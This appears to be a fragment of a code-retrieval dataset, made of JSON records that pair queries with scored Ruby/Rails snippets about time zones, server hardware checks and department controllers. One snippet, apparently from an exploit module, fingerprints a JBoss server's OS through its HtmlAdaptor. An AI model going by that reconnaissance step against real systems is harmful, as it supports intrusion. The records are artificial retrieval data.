self.start_date_appointment.blank?\n self.end_date = self.end_date_appointment unless self.end_date_appointment.blank? \n=begin\n if false && start_date && end_date\n sd = start_date.utc\n ed = end_date.utc\n st = start_time #.in_time_zone\n et = end_time \n p sd, ed, st, et\n self.start_date = DateTime.new(sd.year, sd.month, sd.day, st.hour, st.min, st.sec).utc\n self.end_date = DateTime.new(ed.year, ed.month, ed.day, et.hour, et.min, et.sec) \n p start_date\n p end_date\n end\n=end\n else\n #self.start_date = self.end_date_todo unless self.end_date_todo.blank? #self.start_date_todo unless self.start_date_todo.blank?\n self.start_date = self.start_date_todo unless self.start_date_todo.blank?\n self.end_date = self.end_date_todo unless self.end_date_todo.blank?\n end\n end", "title": "" }, { "docid": "e430a9f7f1df9a05041238e2fc292b4e", "score": "0.5347963", "text": "def to_time\n preserve_timezone ? getlocal(utc_offset) : getlocal\n end", "title": "" }, { "docid": "605f3b47c86c9feeb0b82126704f7324", "score": "0.53459513", "text": "def expected_end\n val = super\n val = DatelessTime.new val unless val.blank?\n val\n end", "title": "" }, { "docid": "032d6de5ef1199d2e213ac97b617b957", "score": "0.532918", "text": "def update!(**args)\n @timezone = args[:timezone] if args.key?(:timezone)\n end", "title": "" }, { "docid": "ad30294285d8d981d623780a39078719", "score": "0.5323269", "text": "def time_zone\n super\n end", "title": "" }, { "docid": "2925b83e819f93b5dc1f8f5f7a0f24d4", "score": "0.53216577", "text": "def set_timestamps\n self.created_at = Time.now\n #Set updated_at initially before manually setting because column cannot be null.\n self.updated_at = Time.now \n end", "title": "" }, { "docid": "901f42330477719b0b01b4320a167a58", "score": "0.53206545", "text": "def iso_time\n @iso_time ||= Time.now.utc.iso8601\n end", "title": "" }, { "docid": "ed7f5cb8b152c4c748550106f66240fb", "score": "0.531918", "text": "def before_create\n temp_time = Time.sl_local\n self.created_at = temp_time\n self.modified_at = temp_time\n end", "title": "" }, { "docid": "ad260af7f0027ded70c81a44ab2931cc", "score": "0.5306447", "text": "def validate_timezone\n self.timezone = 'America/Los_Angeles' if self.timezone.nil?\n if not TZInfo::Timezone.get(self.timezone)\n errors.add(:timezone,'invalid timezone')\n end\n end", "title": "" }, { "docid": "5c863c866f0f2facc52f83f03edd249b", "score": "0.5303231", "text": "def user_to_utc(user_id, datetime)\n tz = get_user_timezone(user_id)\n return tz.local_to_utc(datetime)\n end", "title": "" }, { "docid": "db7ef75ed475798d7d26bed7aa013aad", "score": "0.5290237", "text": "def set_time_zone\n Time.use_zone('Europe/Moscow') { yield }\n end", "title": "" }, { "docid": "48fc7a11f145202cafa800bad9666e5d", "score": "0.5278634", "text": "def convert_to_utc_time(utc_time)\n utc_time - Time.current.utc_offset\n end", "title": "" }, { "docid": "8a00e0377f40861859677969a19f6d54", "score": "0.52664566", "text": "def parse_timestamps\n super\n @updated = updated.to_i if updated.is_a? String\n @updated = Time.at(updated) if updated\n end", "title": "" }, { "docid": "1466dec3e8f0e81f68f01606227cbe67", "score": "0.5261693", "text": "def to_bson\n #----------\n Time.utc( self.year, self.month, self.day )\n end", "title": "" }, { "docid": "d13212e11c0dd3bcaf94f2f0c59283fc", "score": "0.52557397", "text": "def save_without_timestamping\n class << self\n def record_timestamps; false; end\n end\n \n save\n \n class << self\n remove_method :record_timestamps\n end\n end", "title": "" }, { "docid": "5911369a671c5758b2b7ba60c9a714b2", "score": "0.52539396", "text": "def <=>(other)\n utc <=> other\n end", "title": "" }, { "docid": "034192ec814b717fdb985df7015ccb2b", "score": "0.5241715", "text": "def created_at\n object.created_at.in_time_zone.iso8601 if object.created_at\n end", "title": "" }, { "docid": "5d9895fc092cb600a670df8f88802de8", "score": "0.52416235", "text": "def test_quoted_datetime_local\n with_timezone_config default: :local do\n t = Time.now.change(usec: 0).to_datetime\n assert_equal t.to_fs(:db), @quoter.quoted_date(t)\n end\n end", "title": "" }, { "docid": "d2edf5fa5ac31733abf26dcdabf5f528", "score": "0.52387774", "text": "def data_timezones\n @data_timezones.freeze\n end", "title": "" }, { "docid": "9e5278c6f81ac7d2f00d87c2c3724205", "score": "0.5233875", "text": "def to_datetime\n ::DateTime.civil(year, month, day, hour, min, sec, Rational(utc_offset, 86400), 0)\n end", "title": "" }, { "docid": "436a6ae7f68057dcc34fd225b1692d6b", "score": "0.52337825", "text": "def PA_to_UTC(t)\n TZ_PA.local_to_utc t\nend", "title": "" }, { "docid": "fc7f5201a47bae4564bd05f00c259f59", "score": "0.5230599", "text": "def bump_timestamps\n self.updated_at = Time.now.utc\n end", "title": "" }, { "docid": "c5810a7af9020fc032a10df1edeb54eb", "score": "0.5222662", "text": "def to_datetime\n @to_datetime ||= utc.to_datetime.new_offset(Rational(utc_offset, 86_400))\n end", "title": "" } ]
fabbaee4a4a430c6344b184044fa8277
Determines if the server is a bare metal server In ASM terminology a Bare Metal machine is one without any clustering or storage on top, it's just a managed machine with an OS and potentially some related switches
[ { "docid": "fea451df9b78044a97584a0f292d05e6", "score": "0.8035411", "text": "def baremetal?\n if dell_server?\n !related_switches.empty? && related_volumes.empty? && related_clusters.empty?\n else\n related_volumes.empty? && related_clusters.empty?\n end\n end", "title": "" } ]
[ { "docid": "d86b83940e4b82ee829378195aa41a23", "score": "0.72430706", "text": "def bare_metal_tagged_network?(network, server)\n if network.type == \"PXE\"\n server.os_installed?\n elsif server.workload_network_vlans.size > 1\n true\n elsif workload_network_count(network, server) > 1\n true\n elsif workload_with_pxe?(network, server)\n true\n else\n false\n end\n end", "title": "" }, { "docid": "f9c8a5cb5b2051ed31525b7b2e529de6", "score": "0.67864376", "text": "def bladeserver?\n physical_type == \"BLADE\"\n end", "title": "" }, { "docid": "7098ec6d7c0116a3ee5512a6a8053d7b", "score": "0.6739483", "text": "def server?\n return @mode == :server\n end", "title": "" }, { "docid": "0935ebeccdea762fe15e4d1053942af3", "score": "0.6580799", "text": "def rhel?\n @flavor =~ /redhatenterpriseserver/\n end", "title": "" }, { "docid": "e4540e35a20fd4a27d71a9de2048e33d", "score": "0.6532961", "text": "def only_vmware?(server)\n return false if server['general']['alive'].to_i == 1\n return false unless server['netdb'].empty?\n return true unless server['vmware'].empty?\n\n false\n end", "title": "" }, { "docid": "761287e799bf07620749b76e52f197e9", "score": "0.64711636", "text": "def has_borne?\n sncf_self_service_machine == \"t\"\n end", "title": "" }, { "docid": "7ab04a3a101e99840615f3009dd767f6", "score": "0.645318", "text": "def server?\n return (server == true)\n end", "title": "" }, { "docid": "1efdcf1d3ed85b63937ad51ba1f7dde3", "score": "0.6322668", "text": "def machine?\n machine_flag != '0'\n end", "title": "" }, { "docid": "9b65dd429b96b70f8b7792f9c8e464e3", "score": "0.62304586", "text": "def server?\r\n @connect_type == :server\r\n end", "title": "" }, { "docid": "ffe51048d89d82550dcc3ce978e5c49c", "score": "0.6205678", "text": "def server_core?(sku)\n return true if [\n 12, # Server Datacenter Core\n 39, # Server Datacenter without Hyper-V Core\n 14, # Server Enterprise Core\n 41, # Server Enterprise without Hyper-V Core\n 13, # Server Standard Core\n 40, # Server Standard without Hyper-V Core\n 63, # Small Business Server Premium Core\n 53, # Server Solutions Premium Core\n 46, # Storage Server Enterprise Core\n 43, # Storage Server Express Core\n 44, # Storage Server Standard Core\n 45, # Storage Server Workgroup Core\n 29, # Web Server Core\n ].include?(sku)\n\n false\n end", "title": "" }, { "docid": "f8a8205fd754fde9bbca9c4606523cc0", "score": "0.6168858", "text": "def rackserver?\n physical_type == \"RACK\"\n end", "title": "" }, { "docid": "47058a6f72367b94eb374529178d04cf", "score": "0.61559975", "text": "def haveBootstrapped?\n @inventory.haveNode?(@server.mu_name)\n end", "title": "" }, { "docid": "0df8fe20ce93fe1a66422e9c36ec93b7", "score": "0.6138924", "text": "def server?\n response = Net::HTTP.get_response(URI.parse('http://localhost:9533/'))\n raise unless response.class == Net::HTTPOK\nrescue\n skip 'Local server not detected'\nend", "title": "" }, { "docid": "df5dadde1d244332967ef812bc447970", "score": "0.61120176", "text": "def server?\n @role == :server\n end", "title": "" }, { "docid": "e0c3f129ba68b5a921e7058488d9eb82", "score": "0.61105514", "text": "def thin?\n @thin\n end", "title": "" }, { "docid": "bde6ce7af94815feea8d19bf07c5fb37", "score": "0.6083524", "text": "def serverless?\n !!ENV['SERVERLESS']\n end", "title": "" }, { "docid": "386e01a9bce14c53adaac33cf983f490", "score": "0.60478836", "text": "def towerserver?\n physical_type == \"TOWER\"\n end", "title": "" }, { "docid": "ffc6a63f1cf8b3ab469b53566afbcbd1", "score": "0.604392", "text": "def dell_server?\n provider.dell_server?\n end", "title": "" }, { "docid": "3415ed89970b49217e8c07572dc43cc1", "score": "0.604346", "text": "def configured_network?(network, server)\n case network.type\n when \"FIP_SNOOPING\"\n false\n when \"PXE\"\n server.os_image_type == \"vmware_esxi\" || !server.os_installed?\n else\n true\n end\n end", "title": "" }, { "docid": "51a1c6439054c784470a3b8910e02fb9", "score": "0.6039301", "text": "def dev_host\n case Socket.gethostname\n when /romeo-foxtrot/i ; true\n else ; false\n end\nend", "title": "" }, { "docid": "e54b6775a247cdd9cc76751ab31853ba", "score": "0.6034992", "text": "def physical_device?\n arches.any? do |arch|\n arch[/arm/, 0]\n end\n end", "title": "" }, { "docid": "2e7ea8aa1c22e6938b3692ee944c7b55", "score": "0.60255027", "text": "def machine_avail?\n\t\tmachine = self.machines.find(:first, :conditions =>\n\t\t\t[\"installed = ? and cid = ?\", false, 'none'])\n\t\tif machine\n\t\t\treturn machine\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "title": "" }, { "docid": "54c9659ac547a4ea276528b34d8d6602", "score": "0.5999955", "text": "def centos?\n @flavor =~ /centos/\n end", "title": "" }, { "docid": "6da1cd10ee364172b2ca041a651dbc8e", "score": "0.5983341", "text": "def thin?\n option?(\"thin\")\n end", "title": "" }, { "docid": "9d4c89999ee32984f265ee2e7168fb8f", "score": "0.5977562", "text": "def server_available?\n !in_latency_window.empty?\n end", "title": "" }, { "docid": "53cbf711410eb137b449949f1f3fb891", "score": "0.59537846", "text": "def server?\n node['splunk']['is_server'] == true\nend", "title": "" }, { "docid": "ddb79ab5290f81e2258920adbe1357bf", "score": "0.5951755", "text": "def server_connected?\n ! chef_server.nil?\n end", "title": "" }, { "docid": "44666df6be67ae0cb0ee7626a19eb403", "score": "0.5902883", "text": "def only_configs?(server)\n return false if server['general']['alive'].to_i == 1\n return false unless server['netdb'].empty?\n return false unless server['vmware'].empty?\n\n true\n end", "title": "" }, { "docid": "1a73eda6f6d60d4cec83f32cf1ada885", "score": "0.5880124", "text": "def is_softwire?(); @type == GRT_SOFTWIRE; end", "title": "" }, { "docid": "a141909c700887967c695211ec43dec7", "score": "0.58724755", "text": "def has_rackspace_kernel?\n kernel[:release].split('-').last.eql?(\"rscloud\")\nend", "title": "" }, { "docid": "1990d636a7ab91ce9bf7bafd2349e1cf", "score": "0.5857601", "text": "def server_is_available?\n return true\n !@http_client.send_request(:get, \"#{@configuration.protocol}://#{@configuration.host}:#{@configuration.port}\", nil, {:timeout => 5}).nil?\n end", "title": "" }, { "docid": "be983e302e37a5bc37ef3ae8dc888fc6", "score": "0.58288956", "text": "def client_os? system\n detect_os == system.to_sym\n end", "title": "" }, { "docid": "94baaeee46fe9d205dc02aff62254e4d", "score": "0.58261776", "text": "def fcoe_and_esxi_installed_on?(server)\n server.fcoe? && server.os_image_type == \"vmware_esxi\" && server.os_installed?\n end", "title": "" }, { "docid": "ac907c0444d2ebefc6b907685ed8943e", "score": "0.581422", "text": "def windows_nano?\n return false unless inspec.os[:release].to_i >= 10\n\n inspec.powershell('Get-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Server\\ServerLevels\" | Select -ExpandProperty \"NanoServer\" ').stdout.chomp == '1'\n end", "title": "" }, { "docid": "a7e1f0a214bc11d27c89e26b8e6c1527", "score": "0.58120155", "text": "def default_server\n server?(:default)\n end", "title": "" }, { "docid": "1db512656d0b133f72b8ff40db2ef374", "score": "0.5808471", "text": "def server_probably_launched?\n success? || server_error?\n end", "title": "" }, { "docid": "f86ad34a6f30f71dcbec1430b5f14fa6", "score": "0.57677346", "text": "def client?\n return (server == false)\n end", "title": "" }, { "docid": "726c666f8d45a674144f27ebf57d8cc1", "score": "0.5758771", "text": "def linux?\n @linux\n end", "title": "" }, { "docid": "433809010f0056a6f14cca8459a60677", "score": "0.5743654", "text": "def is_cisco_wrlinux?\n return !!@name.match(/^cisco-wrlinux-.*$/)\n end", "title": "" }, { "docid": "1b582d294649142aa462ee435b1a566e", "score": "0.5742508", "text": "def remote_server_ready?\n !@remote_server['locked'] &&\n @remote_server['built'] &&\n @remote_server['booted'] &&\n @remote_server['ip_addresses'].present? &&\n @remote_server['total_disk_size'].to_i > 1 &&\n pending_transactions.blank?\n end", "title": "" }, { "docid": "2176ac123ff411010903d3223d289f67", "score": "0.5738287", "text": "def looks_like_rackspace? \n has_rackspace_mac?\nend", "title": "" }, { "docid": "acc73495e4bd6dc4fbd5a0952d7d37ca", "score": "0.5735378", "text": "def linux?\n linux_internal?\n end", "title": "" }, { "docid": "d2a9bae27ad698e434b48621cbe57cda", "score": "0.5729605", "text": "def is_hardwire?(); @type == GRT_HARDWIRE; end", "title": "" }, { "docid": "d357a589b5d1f4ee1e474a13db6854f5", "score": "0.57221156", "text": "def is_arm?\n !RUBY_PLATFORM.index(\"arm64e\").nil?\nend", "title": "" }, { "docid": "d357a589b5d1f4ee1e474a13db6854f5", "score": "0.57221156", "text": "def is_arm?\n !RUBY_PLATFORM.index(\"arm64e\").nil?\nend", "title": "" }, { "docid": "8fed5e9d0306ae48487ebe858ebf7160", "score": "0.57221115", "text": "def boot_server\n # if we don't manage tftp at all, we dont create a next-server entry.\n return unless tftp?\n\n # first try to ask our TFTP server for its boot server\n bs = tftp.bootServer\n # if that failed, trying to guess out tftp next server based on the smart proxy hostname\n bs ||= URI.parse(subnet.tftp.url).host\n # now convert it into an ip address (see http://theforeman.org/issues/show/1381)\n ip = to_ip_address(bs) if bs.present?\n return ip unless ip.nil?\n\n failure _(\"Unable to determine the host's boot server. The DHCP Capsule failed to provide this information and this subnet is not provided with TFTP services.\")\n rescue => e\n failure _(\"failed to detect boot server: %s\") % e\n end", "title": "" }, { "docid": "6b565ba769a60159e1ade7109abca68b", "score": "0.5719097", "text": "def server_empty\n `/etc/init.d/minecraft list`.match(/\\s0\\/\\d+/)\nend", "title": "" }, { "docid": "26122301a98db2693098c439623af922", "score": "0.5693369", "text": "def server\n platform.server\n end", "title": "" }, { "docid": "b741fa05d30d0e7a5f9ee8b998cde7bc", "score": "0.56793106", "text": "def hardware_ethernet?\n self.hardware_type == HW_ETHERNET\n end", "title": "" }, { "docid": "19dcfd529e432dfc2aa69a7d6a3f8aaa", "score": "0.5674681", "text": "def detect?(machine)\n machine.communicate.test(\"\")\n end", "title": "" }, { "docid": "2b1c9f267863ce515b24e54013bd6e0f", "score": "0.5674125", "text": "def setup?\n Crocoduck::Store.server_cluster && \n Crocoduck::Store.server_db && \n Crocoduck::Store.server_collection\n end", "title": "" }, { "docid": "1a48746e93d88e2cb87f518c07b702b3", "score": "0.56724286", "text": "def simulator?\n !physical_device?\n end", "title": "" }, { "docid": "aa6f6004d5f921c6d3d74f7dcbbd193e", "score": "0.56693244", "text": "def bootstrapped?\n # @bootstrapped ||= !run('if [ -f /var/poolparty/bootstrapped ]; then echo \"YES\"; fi').match(/YES/).nil?\n @bootstrapped ||= !run('if [ -f /var/poolparty/bootstrapped ]; then echo \"YES\"; fi').chomp.empty? || false\n end", "title": "" }, { "docid": "1539f8f68553851ae714554f7098570d", "score": "0.5664115", "text": "def host_agent_ready?\n # Localhost\n uri = URI.parse(\"http://#{LOCALHOST}:#{@port}/\")\n req = Net::HTTP::Get.new(uri)\n\n response = make_host_agent_request(req)\n\n if response && (response.code.to_i == 200)\n @host = LOCALHOST\n return true\n end\n\n return false unless @is_linux\n\n # We are potentially running on Docker in bridged networking mode.\n # Attempt to contact default gateway\n uri = URI.parse(\"http://#{@default_gateway}:#{@port}/\")\n req = Net::HTTP::Get.new(uri)\n\n response = make_host_agent_request(req)\n\n if response && (response.code.to_i == 200)\n @host = @default_gateway\n return true\n end\n false\n rescue => e\n Instana.logger.error \"#{__method__}:#{File.basename(__FILE__)}:#{__LINE__}: #{e.message}\"\n Instana.logger.debug e.backtrace.join(\"\\r\\n\")\n return false\n end", "title": "" }, { "docid": "85c7fff43dfd70cf80b49355c3353bd5", "score": "0.5658183", "text": "def server_is_proxy_type?(server)\n # Linode/Fog does not give access to flavor/image/etc data for a server\n # Parsing it from the proxy name instead\n server_details = parse_proxy_name(server.name)\n return server_details.image_id == self.image_id \\\n && server_details.flavor_id == self.flavor_id \\\n && server_details.kernel_id == self.kernel_id \\\n && server_details.data_center_id == self.data_center_id\n end", "title": "" }, { "docid": "a4ca6944adf8abbe53f653b4737606b8", "score": "0.5653529", "text": "def booted?\n IO.popen([\"systemctl\", \"is-system-running\"], &:read).chomp != \"offline\"\n end", "title": "" }, { "docid": "307b5e438c619184f1de7fe565bdba58", "score": "0.56426954", "text": "def running_on_shitty_gpu?\n return @shitty_gpu\n end", "title": "" }, { "docid": "c79a0073c3ccec26569081b0edccdaa4", "score": "0.56426007", "text": "def centos?(node)\n node['platform'] == 'centos'\n end", "title": "" }, { "docid": "3548f7e1805600b969c287f2fdf7873d", "score": "0.5636539", "text": "def relevant?(server)\n server.exists?\n end", "title": "" }, { "docid": "ff994aec0fd4b23eefc07f4e56be92f9", "score": "0.5635366", "text": "def primitive_has_master_running?(primitive, node = nil)\n is_multistate = primitive_is_multistate? primitive\n return is_multistate unless is_multistate\n status = primitive_status primitive, node\n return status unless status\n status == 'master'\n end", "title": "" }, { "docid": "dfd866dc527b3c571f8b134decafc9a2", "score": "0.56216633", "text": "def redhat_enterprise_linux?(node)\n node['platform'] == 'enterprise'\n end", "title": "" }, { "docid": "39eed9661d2bd30dd6d5d57752a41e51", "score": "0.56192946", "text": "def has_rackspace_mac? \n network[:interfaces].values.each do |iface|\n unless iface[:arp].nil?\n return true if iface[:arp].value?(\"00:00:0c:07:ac:01\")\n end\n end\n false\nend", "title": "" }, { "docid": "2eab8e78592aa6d33d2a8c7e22836f87", "score": "0.561788", "text": "def valid?(server)\n relevant?(server) and !server.bogus?\n end", "title": "" }, { "docid": "e81e2afdf78581e56db069ad0a2f4d58", "score": "0.5608578", "text": "def simulator?\n arches.include?(\"i386\") || arches.include?(\"x86_64\")\n end", "title": "" }, { "docid": "d2832d25f1fcaa150a7850f6aa7f2677", "score": "0.56029993", "text": "def machine_readable?\n @prompt == :machine\n end", "title": "" }, { "docid": "6b4957bb8270c6e8c4a804eb211e6af2", "score": "0.5593433", "text": "def mount?\n return $game_player.system_tag == TMount\n end", "title": "" }, { "docid": "b0ff94501088ca0ded0825560e0643ed", "score": "0.5584438", "text": "def linux?\n !!(ua =~ /Linux/)\n end", "title": "" }, { "docid": "2ee278273c3f9b91e6cca0bddc1849ae", "score": "0.5583321", "text": "def karaf_started?\n n = `netstat -ao | grep 8101 | wc -l`\n n.to_i > 0\n end", "title": "" }, { "docid": "e9a2e538f2f3e979503bd3d958207607", "score": "0.55816454", "text": "def single_mongos?\n ClusterConfig.instance.single_server? && ClusterConfig.instance.mongos?\nend", "title": "" }, { "docid": "e9a2e538f2f3e979503bd3d958207607", "score": "0.55816454", "text": "def single_mongos?\n ClusterConfig.instance.single_server? && ClusterConfig.instance.mongos?\nend", "title": "" }, { "docid": "854dffaa1be6de01ba9841951b9e3e21", "score": "0.5570273", "text": "def linux_mint?(node)\n node['platform'] == 'linuxmint'\n end", "title": "" }, { "docid": "b5f3dbbc98f5963aed66c30309d8773b", "score": "0.5569809", "text": "def servers\n return self.bare_metal_servers + self.virtual_servers\n end", "title": "" }, { "docid": "cc11bdbe13298fc7f8609314499bc0a4", "score": "0.55634874", "text": "def local?\n ip = server_ip.to_s\n is_localhost = ip == '127.0.0.1'\n is_in_ifconfig = `/sbin/ifconfig -a`.include? ip\n is_in_ip_addr = `/sbin/ip addr show`.include? ip\n is_localhost || is_in_ifconfig || is_in_ip_addr\n rescue => err\n (MorLog.my_debug '#{err.message}') && (return false)\n end", "title": "" }, { "docid": "0d987171dfac6d9ca457b0b5411cf371", "score": "0.55560106", "text": "def redhat_platform?(node = __getnode)\n node[\"platform\"] == \"redhat\"\n end", "title": "" }, { "docid": "0bc411d619ad1fdf89f6428dac0340ea", "score": "0.5551451", "text": "def is_yum_platform\n node[:platform_family] == \"rhel\"\nend", "title": "" }, { "docid": "f10768597261a19ffcb1da3b602d0e81", "score": "0.55250335", "text": "def detect_platform()\r\n\t\tprint_status(\"Attempting to automatically detect the platform...\")\r\n\r\n\t\tpath = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'\r\n\t\tres = send_request_raw(\r\n\t\t\t{\r\n\t\t\t\t'uri' => path\r\n\t\t\t}, 20)\r\n\r\n\t\tif (not res) or (res.code != 200)\r\n\t\t\tprint_error(\"Failed: Error requesting #{path}\")\r\n\t\t\treturn nil\r\n\t\tend\r\n\r\n\t\tif (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\\/td>/m)\r\n\t\t\tos = $1\r\n\t\t\tif (os =~ /Linux/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /Windows/i)\r\n\t\t\t\treturn 'win'\r\n\t\t\tend\r\n\t\tend\r\n\t\tnil\r\n\tend", "title": "" }, { "docid": "f9b0e89bbb475aaa6e8896b6e2b012d0", "score": "0.5502551", "text": "def detect_if_master\n read_only = `/usr/pgsql-9.1/bin/pg_controldata /var/lib/pgsql/9.1/data | grep \"Database cluster state\" | awk '{print $NF}'`\n return true if read_only =~ /production/\n end", "title": "" }, { "docid": "efbbbffb49b1388188d37968c6ac8af5", "score": "0.5475514", "text": "def kernel_hardware\n uname('-m')\n end", "title": "" }, { "docid": "461e5629476d7250b5ea087022b7b047", "score": "0.5471843", "text": "def active?\n servers.any?\n end", "title": "" }, { "docid": "8899100131fa1d8eea5dde9fc028a6a8", "score": "0.54661316", "text": "def physical?\n return data.atk_class == 1\n end", "title": "" }, { "docid": "e87df0b26a02207c838f7a236e8e094d", "score": "0.5446454", "text": "def hyperv_with_dedicated_intel_iscsi?(network, server)\n return false unless network.type == \"STORAGE_ISCSI_SAN\"\n return false unless server.is_hyperv?\n\n iscsi_card = server.network_cards[1]\n\n iscsi_card && iscsi_card.nic_info.product =~ /Intel/\n end", "title": "" }, { "docid": "cb6df8080e0c960405004ef808667d4f", "score": "0.54309994", "text": "def linux? ; RUBY_PLATFORM =~ /linux/i end", "title": "" }, { "docid": "bb22f35512695b9976f238b93ad69bf5", "score": "0.5428696", "text": "def is_kvm_enabled(handle:, server_id: 1)\n kvm_mo = CommKvm.new(parent_mo_or_dn: _get_comm_mo_dn(handle, server_id))\n kvm_mo = handle.query_dn(dn: kvm_mo.dn)\n return(kvm_mo.admin_state.downcase == \"enabled\")\nend", "title": "" }, { "docid": "076de9ce5532235f0c12d9b08c8cfea8", "score": "0.54178953", "text": "def can_run_headless?\n on_mac = (RUBY_PLATFORM =~ /darwin/)\n puts \"You requested to run headless, but this only works under Linux\" if wants_headless? and on_mac\n not on_mac\n end", "title": "" }, { "docid": "4226684b841f70652c96ded9df85a902", "score": "0.5416486", "text": "def iscsi?\n disk_type == DiskType.iscsi\n end", "title": "" }, { "docid": "6df4c99c1b3f52e6c7f996a62b162c35", "score": "0.54132026", "text": "def linux?\n has_os? && !!os_image_type.match(/suse|redhat|ubuntu|debian|centos|fedora/i)\n end", "title": "" }, { "docid": "9d50ee49c6f348ab7c0f210924097b6c", "score": "0.5413107", "text": "def server_exist?(server_name)\n compute = find_match(@compute.servers, server_name)\n Puppet.debug \"found server #{compute.name}\" if compute != nil\n Puppet.debug \"server not found : #{server_name}\" if compute == nil\n return (compute != nil)\n end", "title": "" }, { "docid": "4b3a945ec9b814e2991b7e72ced9c857", "score": "0.5409211", "text": "def server_is_proxy_type?(server)\n return server.image_id == self.image_id \\\n && server.region_id == self.region_id \\\n && server.flavor_id == self.flavor_id\n end", "title": "" }, { "docid": "07b2ba3d30926532669a7afa944fb817", "score": "0.54053557", "text": "def detect_os\n @server_os = Array.new\n @servers.each do |server|\n# if obj_behavior(server, :spot_check_command?, \"lsb_release -is | grep Ubuntu\")\n if probe(server, \"lsb_release -is | grep Ubuntu\")\n puts \"setting server to ubuntu\"\n server.os = \"ubuntu\"\n server.apache_str = \"apache2\"\n server.apache_check = \"apache2ctl status\"\n server.haproxy_check = \"service haproxy status\"\n else\n puts \"setting server to centos\"\n server.os = \"centos\"\n server.apache_str = \"httpd\"\n server.apache_check = \"service httpd status\"\n server.haproxy_check = \"service haproxy check\"\n end\n end\n end", "title": "" }, { "docid": "02f2f06ccf2e77f7683e13f2a0fde052", "score": "0.53990096", "text": "def detect_os\n @server_os = Array.new\n @servers.each do |server|\n if object_behavior(server, :spot_check_command?, \"lsb_release -is | grep Ubuntu\")\n puts \"setting server to ubuntu\"\n server.os = \"ubuntu\"\n server.apache_str = \"apache2\"\n server.apache_check = \"apache2ctl status\"\n server.haproxy_check = \"service haproxy status\"\n else\n puts \"setting server to centos\"\n server.os = \"centos\"\n server.apache_str = \"httpd\"\n server.apache_check = \"service httpd status\"\n server.haproxy_check = \"service haproxy check\"\n end\n end\n end", "title": "" }, { "docid": "909333318e611ec39423d79237e11d1b", "score": "0.53948057", "text": "def set_up_server\n node = Chef::Node.new\n node.name 'nothing'\n node.automatic[:platform] = 'kitchen_metal'\n node.automatic[:platform_version] = 'kitchen_metal'\n Chef::Config.local_mode = true\n run_context = Chef::RunContext.new(node, {},\n Chef::EventDispatch::Dispatcher.new(Chef::Formatters::Doc.new(STDOUT,STDERR)))\n recipe_exec = Chef::Recipe.new('kitchen_vagrant_metal',\n 'kitchen_vagrant_metal', run_context)\n\n # We require a platform, but layout in driver is optional\n recipe_exec.instance_eval get_platform_recipe\n recipe = get_driver_recipe\n recipe_exec.instance_eval recipe if recipe\n return run_context\n end", "title": "" }, { "docid": "1b6926b570f03000c4f9be08818e90b7", "score": "0.53939736", "text": "def has_openstack_mac?\n !!(Facter.value(:macaddress) =~ %r{^02:16:3[eE]})\n end", "title": "" }, { "docid": "9fdf225da2b3b133bf78a9962bfca32f", "score": "0.5377207", "text": "def server_verified?\n !!@server_verified\n end", "title": "" }, { "docid": "4dd8fae0944584b1ce2a9944a00d251d", "score": "0.5375467", "text": "def smartos?(node)\n node['platform'] == 'smartos'\n end", "title": "" }, { "docid": "e11866c4ed96f3aa0291ca9ea2648ef4", "score": "0.53723025", "text": "def haveBootstrapped?\n self.class.loadChefLib\n MU.log \"Chef config\", MU::DEBUG, details: ::Chef::Config.inspect\n nodelist = ::Chef::Node.list()\n nodelist.has_key?(@server.mu_name)\n end", "title": "" }, { "docid": "81f0ec068053467300fde364a1bac5da", "score": "0.5371393", "text": "def linux?\n unix? and not mac?\n end", "title": "" }, { "docid": "70fc33a6eb30e0d08f06d2e37552ce35", "score": "0.5371005", "text": "def server_admin_ticket?\n # note that serverAdministrationFlag comes from the server as an Integer (0, or 1)\n self['serverAdministrationFlag'] != 0\n end", "title": "" }, { "docid": "215a60d396b37e8a60a3d39eaca78076", "score": "0.5370867", "text": "def linux?\n unix? and not mac?\n end", "title": "" }, { "docid": "e59249001d7c69402b045538d9d774e5", "score": "0.5365818", "text": "def is_sunxi_hardware()\n fh = File.open(\"/proc/cpuinfo\")\n return nil if not fh\n fh.each_line {|l|\n if l =~ /^Hardware/ and l =~ /(Allwinner)|(sun\\di)/ then\n return true\n end\n }\n return nil\nend", "title": "" }, { "docid": "977835363aeb0c0c51350d765f99db01", "score": "0.53627175", "text": "def system?\n not @system.nil?\n end", "title": "" } ]
6b7d5a6b81b2930ea5fb1151d6fb06a0
GET /admin/departamentos GET /admin/departamentos.json
[ { "docid": "632b53eec1d51902bf0536f007ea828d", "score": "0.73484796", "text": "def index\n @admin_departamentos = Admin::Departamento.all\n end", "title": "" } ]
[ { "docid": "48dce95b67df2b651d466bbe0a1dd349", "score": "0.78316295", "text": "def index\n @departamentos = Departamento.all\n\n render json: @departamentos\n end", "title": "" }, { "docid": "c8be0c5e99a7430c4a39a56eacea3164", "score": "0.74342585", "text": "def show\n render json: @departamento\n end", "title": "" }, { "docid": "16a3691e47ae768503bee3fe85545072", "score": "0.699031", "text": "def department\n @departments = @company.departments\n respond_to do |format|\n format.json { render json: @departments}\n end\n end", "title": "" }, { "docid": "43cf81b771cdf82bf73a30bc350c0a9f", "score": "0.68185407", "text": "def index\n @departments = Department.all\n respond_to do |format|\n format.json{ render json: @departments}\n end\n end", "title": "" }, { "docid": "22df78b8422fa6b5641da3fa545813bc", "score": "0.67210853", "text": "def index\n puts session[:_csrf_token]\n @departments = Department.all\n render json: @departments, status: :ok\n end", "title": "" }, { "docid": "7c722ddc7680e1d4caeaf22853484817", "score": "0.65358025", "text": "def set_lista_departamento\n @lista_departamento = Departamento.find(params[:id])\n end", "title": "" }, { "docid": "a19c112ab83a509d10e657d00424e869", "score": "0.64251924", "text": "def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end", "title": "" }, { "docid": "bdfa28f9f19d9ef910dd981ca9e796c8", "score": "0.6424611", "text": "def index\n @deporte_usuarios = DeporteUsuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deporte_usuarios }\n end\n end", "title": "" }, { "docid": "4aa10ab20ce4d3dd4e6ac07d3f5698d0", "score": "0.6406389", "text": "def show\n render json: @dept\n end", "title": "" }, { "docid": "ab658a377f1e08c4cd8cff6088fe9eec", "score": "0.6394763", "text": "def show\n render json: 